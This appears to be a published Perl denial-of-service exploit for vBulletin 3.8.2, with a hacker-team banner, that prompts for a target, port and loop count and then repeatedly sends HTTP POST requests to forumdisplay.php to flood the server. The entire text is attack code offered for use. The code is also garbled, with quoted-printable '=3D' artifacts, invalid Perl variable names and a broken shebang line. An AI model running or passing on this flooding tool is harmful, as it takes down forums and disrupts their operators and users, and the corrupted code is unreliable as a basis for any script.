vBulletin 3.8.2 Denial of Service Exploit

#!usr/bin/perl
 #vBulletin=AE Version 3.8.2 D3n14l 0f S3rv1c3 Expl01t
 #HaCker Anger - Qkk@Hotmail.Fr
 ########################################################################
 # Modules                                                              #
 ########################################################################
 use IO::SOCKET;           # Object interface                           #
 ########################################################################
 if (@ARGV<1){
 print"
 ########################################################################
 ## Author : Hacker Anger       ##
 ## TeaM : The Assassin Scorpion TeaM              ##
 ## Home : http://Baloma.NeT             ##
 ## Mail : Qkk@Hotmail.Fr                ##
 ##                                                                    ##
 ########################################################################
 ########################################################################
 ##                                ##                                  ##
 ##->vBulletin 3.8.2 Denial of Service Exploit<-    ##
                 ##
 ##                                ##                                  ##
 ##Enter These Exploit              ##                                  ##
 ##1.Target                        ##[*] www.Baloma.net                ##
 ##2.Forum                         ##[*] vbulletin                     ##
 ##3.Exploit                 ##[*] forumdisplay.php?f=3D           ##
 ##4.Execution length/timeout      ##[*] 7777777777777777              ##
 ##5.Port                          ##[*] 80                            ##
 ########################################################################
 a";}
 $anger_Block =3D "
 ########################################################################";
 $Hacker =3D "Error!Error!Error!Error";
 $H-a =3D0;
     print"$anger_Block
";
     print q(Target->);
     chomp($H-zi3l =3D<STDIN>);
     if ($H-zi3l eq""){
     die "$Hackera
";}
     print"$anger_Block
";
       print"$anger_Block
";
       print q(Path->);
       chomp($H4ck3r_4n93r =3D<STDIN>);
       if ($H4ck3r_4n93r eq "") {
       die "$Hacker !a
";}
       print"$anger_Block
";
          print"$anger_Block
";
          print "Vulnerability
";
          print"forumdisplay.php?f=3D
";
          print"->
";
            chomp($Exploit =3D<STDIN>);
            if ($Exploit eq "") {
            die "$Hacker !a
";}
            print"$anger_Block
";
               print"$anger_Block
";
               print q(Time->);
               chomp($H-flood =3D<STDIN>);
               if ($H-flood eq "") {
               die "$Hacker !a
";}
                  print"$anger_Block
";
                  print"$anger_Block
";
                  print q(Port->);
                  chomp($p0rt =3D<STDIN>);
                  if ($p0rt eq ""){
                  die "$Hacker 
";}
                  print"$anger_Block
";
                     print q(Send "start"->);
                     chomp($H-start =3D<STDIN>);
                     if ($H-start eq "") {
                     die "$Hacker
";}
 print "$anger_Blocka
";
 print "[+]Check Data 
";
 print "[*]Check Target   : $H-zi3l
";
 print "[*]Check Forum  : $H4ck3r_4n93r
";
 print "[*]Checking Port   : $p0rt
";
 print "$anger_Block
";
 if($H-start =3D=3D 1){
 while($H-a !=3D 0000){
 $H-a++;}
 }elsif ($H-start =3D=3D start){
 while($H-a !=3D $H-flood)
 {
 $4n93r_postit =3D "$H-zi3l"."$H4ck3r_4n93r"."$Exploit";
 $4n93r_l =3D length $4n93r_postit;
 $4n93r =3D new IO::Socket::INET (
                               PeerAddr =3D> "$H-zi3l",
                               PeerPort =3D> "$p0rt",
                               Proto =3D> "tcp",
                              );

 print $4n93r "POST $H4ck3r_4n93r$Exploit HTTP/1.1
";
 print $4n93r "Host: $H-zi3l
";
 print $4n93r "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=3D0.9,text/plain=
;q=3D0.8,image/png,*/*;q=3D0.5
";
 print $4n93r "Referer: $H-zi3l
";
 print $4n93r "Accept-Language: en-us
";
 print $4n93r "Content-Type: application/x-www-form-urlencoded
";
 print $4n93r "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US;
rv:1.7.8) Gecko/20070421 Firefox/2.0.0
";
 print $4n93r "Content-Length: $4n93r_l

";
 print $4n93r "$4n93r_postit
";
 close($4n93r);
 syswrite STDOUT, "->BLACKOUT<-";
 $H-a++;
 }
 }else{
 die "Error - cant connect to target $H-zi3l !
";
 }